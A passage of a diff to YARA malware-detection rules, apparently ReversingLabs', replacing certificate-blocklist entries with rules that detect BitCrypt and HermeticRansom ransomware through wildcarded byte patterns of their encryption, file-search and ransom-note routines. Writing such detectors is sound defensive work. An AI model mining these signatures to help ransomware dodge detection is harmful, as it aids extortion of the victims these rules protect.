?? ?? ?? ?? 33 0C 95 ?? ?? ?? + ?? 89 0C 95 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 7C C0 81 FA ?? ?? ?? ?? 7D 3B 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 83 C6 ?? + 81 E1 ?? ?? ?? ?? 33 4E ?? 8B C1 83 E0 ?? D1 E9 8B 04 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 46 ?? 81 FE ?? ?? ?? ?? + 7C CE 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? + ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ?? + ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3 + } + $decrypt_3 = { + A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C C7 00 00 00 33 D2 EB 0C 8D A4 24 ?? ?? ?? ?? EB 03 8D 49 ?? 8B 0C 95 ?? ?? ?? ?? 33 + 0C 95 ?? ?? ?? ?? 42 81 E1 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? + ?? 89 0C 95 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 7C C0 81 FA ?? ?? ?? ?? 7D 3B 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 83 C6 ?? + 81 E1 ?? ?? ?? ?? 33 4E ?? 8B C1 83 E0 ?? D1 E9 8B 04 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 46 ?? 81 FE ?? ?? ?? ?? + 7C CE 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? + ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ?? + ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3 + } + $entrypoint_all = { + 83 EC ?? E8 ?? ?? ?? ?? 50 FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3 AM CHP" and pe.signatures [ i ] . serial == "6e:32:53:1a:e8:39:92:f0:57:31:20:a5:e7:8d:e2:71" and 1451606399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( $file_loop_1 and $encrypt_data_1 and $decrypt_data_1 and $decrypt_strings_1 and $decrypt_1 ) or ( $file_loop_2 and $encrypt_data_2 and $decrypt_data_2 and $decrypt_strings_2 and $decrypt_2 ) or ( $file_loop_3 and $encrypt_data_3 and $decrypt_data_3 and $decrypt_3 ) ) and ( $entrypoint_all at pe.entry_point ) ) } -rule REVERSINGLABS_Cert_Blocklist_6967A89Bcf6Efef160Aaeebbff376C0A : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Bitcrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BitCrypt ransomware." author = "ReversingLabs" - id = "d6714f50-600b-5437-8be6-097f7dd93dc7" - date = "2020-08-05" - modified = "2023-11-08" + id = "f00a0fd8-31a9-5ee6-b560-09ccf6fe490b" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1870-L1886" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BitCrypt.yara#L3-L112" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "deb7465e453aa5838f81e15e270abc958a65e1a6051a88a5910244edbe874451" + logic_hash = "66cfe16a182e7f20d6358be9569ada5e6c36c94d44781d8c741638e1b174d44e" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BitCrypt" + tc_detection_factor = 5 importance = 25 + strings: + $bc_bcdedit = { + 55 8B EC 6A ?? 53 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 + E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 45 + ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? + ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? C3 + } + $bc_enum_drives_a_z = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 D2 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B F0 33 C0 55 68 ?? ?? ?? + ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 06 B3 ?? 8D 85 ?? ?? ?? ?? 8B D3 E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? + 8D 45 ?? B1 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B D3 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 E8 ?? 75 1B 8D 85 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? + ?? 8B 06 8B 08 FF 51 ?? 43 80 FB ?? 0F 85 65 FF FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? C3 + } + $bc_do_extensions_1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D + ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 7D ?? 8B 5D ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? + ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 81 01 00 00 E8 ?? ?? ?? ?? BA ?? + ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? 8B F0 8B C3 8B 14 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 28 A0 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 50 8B 03 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 85 C0 75 C8 EB 28 A0 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8B 03 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B + C3 E8 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 C8 FF 75 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? DB 85 ?? ?? ?? ?? 83 C4 ?? DB 3C + } + $bc_do_extensions_2 = { + 24 9B 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B C7 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 13 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 17 8D 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B3 ?? EB 02 33 DB 33 C0 5A 59 59 64 89 10 EB 0C E9 ?? ?? ?? ?? 33 DB E8 ?? ?? + ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB D0 8B C3 5F 5E 5B 8B E5 5D C2 + } + $bc_do_files_1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 8B F0 + 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B3 ?? 8B 06 E8 ?? ?? ?? ?? + 89 45 ?? 8B 16 8D 85 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B F8 85 FF 0F 85 91 00 00 00 F6 85 ?? ?? ?? ?? ?? 75 73 56 8D B5 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A5 + 5E 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 33 D2 E8 ?? ?? ?? ?? 83 C4 ?? DD 1C 24 9B 8D 45 ?? E8 + ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 36 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? + ?? ?? 8B 45 ?? 8B 40 ?? 8B 00 8B 08 FF 51 ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 6F FF FF FF 8D 85 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 84 DB 0F 84 B7 00 00 00 8B 16 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D + } + $bc_do_files_2 = { + 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 75 7E F6 85 ?? ?? ?? ?? ?? 74 64 8B 85 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 74 52 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 40 FF 36 FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B + C6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8B C6 8B 55 ?? E8 57 FE FF FF 59 84 C0 75 04 33 DB EB 21 8B 55 ?? 42 8B C6 + B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 82 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 + 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 + } + $bc_main_1 = { + 55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 F9 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 + 89 20 33 C0 A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? + ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? + ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 8D 45 ?? 8B 0D ?? ?? ?? ?? + 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 7A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B + } + $bc_main_2 = { + 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 45 ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? 8B 0D ?? ?? ?? ?? 8B 15 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 11 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B D8 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 80 FB ?? 0F 85 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? B2 ?? A1 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ED A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 83 F8 ?? 0F + 8E ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 99 F7 3D ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 99 F7 3D + ?? ?? ?? ?? 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 48 85 C0 7C ?? 40 89 45 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? + } + $bc_main2 = { + E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 45 ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D + ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Chang Yucheng" and pe.signatures [ i ] . serial == "69:67:a8:9b:cf:6e:fe:f1:60:aa:ee:bb:ff:37:6c:0a" and 1451174399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $bc_main_1 at pe.entry_point ) and $bc_main_2 and $bc_main2 and $bc_bcdedit and $bc_enum_drives_a_z and $bc_do_extensions_1 and $bc_do_extensions_2 and $bc_do_files_1 and $bc_do_files_2 } - -rule REVERSINGLABS_Cert_Blocklist_7473D95405D2B0B3A8F28785Ce6E74Ca : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Hermeticransom : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects HermeticRansom ransomware." author = "ReversingLabs" - id = "7f44b9d8-917b-5fc4-9651-cce89358e415" - date = "2020-08-05" - modified = "2023-11-08" + id = "6aaf89f4-0cf8-5f0e-b89d-01ac7edd06c0" + date = "2022-05-13" + modified = "2022-05-13" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1888-L1904" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.HermeticRansom.yara#L1-L105" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e15b990b13617017ca2d1f8caf03d8ff3785ca9b860bf11f81af5dadf17a9be5" + logic_hash = "123d569a9d9b9d855b3baafd6194f102d82a594fd7a2bba073843a8654a317cb" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "HermeticRansom" + tc_detection_factor = 5 importance = 25 + strings: + $drop_ransom_note = { + 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 3B 41 ?? + 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 0F 10 04 24 0F 11 44 24 ?? 0F 10 44 24 ?? 0F 11 44 24 ?? 0F 10 44 + 24 ?? 0F 11 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8D BC 24 ?? ?? ?? + ?? 48 8D 35 ?? ?? ?? ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48 + 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? + ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? + ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 + 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 4C 24 ?? 48 89 8C 24 ?? ?? + ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 14 24 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8B 44 24 ?? 48 8B 4C 24 ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 14 24 48 89 4C 24 ?? 48 89 + 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 + ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 0C 24 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C + 24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? + ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 + } + $encrypt_files_p1 = { + E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 8C 24 ?? + ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 89 14 24 + 48 89 74 24 ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 C7 44 24 ?? ?? + ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 54 24 ?? E8 + ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 9C 24 ?? ?? ?? ?? 48 + 85 DB 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8D + 05 ?? ?? ?? ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 8B 44 24 ?? 48 89 C1 48 C1 F8 ?? 48 + C1 E8 ?? 48 01 C8 48 C1 F8 ?? 48 89 84 24 ?? ?? ?? ?? 48 C1 E0 ?? 48 29 C1 48 89 4C + 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 04 24 0F 57 C0 0F + 11 44 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 F8 ?? 7E ?? B8 ?? ?? ?? ?? + 48 89 84 24 ?? ?? ?? ?? 31 C9 EB ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? + 48 39 C1 0F 8D ?? ?? ?? ?? 48 89 CA 48 C1 E1 ?? 48 FF C2 48 89 D3 48 C1 E2 ?? 48 39 + D1 0F 87 ?? ?? ?? ?? 48 8B 74 24 ?? 48 39 F2 0F 87 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? + ?? 48 8B 05 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? 48 89 3C 24 48 89 + } + $encrypt_files_p2 = { + 5C 24 ?? 48 89 44 24 ?? 48 29 CE 48 89 F3 48 F7 DE 48 C1 FE ?? 48 21 CE 48 8B BC 24 + ?? ?? ?? ?? 48 01 FE 48 89 74 24 ?? 48 29 CA 48 89 54 24 ?? 48 89 5C 24 ?? E8 ?? ?? + ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 85 DB 0F 85 ?? + ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C 24 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 54 + 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 F8 ?? 0F 8D ?? ?? ?? ?? 48 C1 E0 ?? 48 8B + 4C 24 ?? 48 39 C8 0F 87 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B + 35 ?? ?? ?? ?? 48 89 14 24 48 89 5C 24 ?? 48 89 74 24 ?? 48 8B 54 24 ?? 48 29 C2 48 + 89 D3 48 F7 DA 48 C1 FA ?? 48 21 C2 48 8B B4 24 ?? ?? ?? ?? 48 01 F2 48 89 54 24 ?? + 48 29 C1 48 89 4C 24 ?? 48 89 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? + 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 85 DB 74 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? + ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 + 81 C4 ?? ?? ?? ?? C3 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C 24 48 89 44 24 ?? 48 89 4C 24 + ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 + } + $find_files = { + 65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 + EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? + 48 89 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 + 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 89 54 + 24 ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 94 + 24 ?? ?? ?? ?? 48 89 14 24 48 8B 9C 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 44 24 ?? 48 + 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 84 24 ?? + ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 04 24 48 89 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 85 C9 75 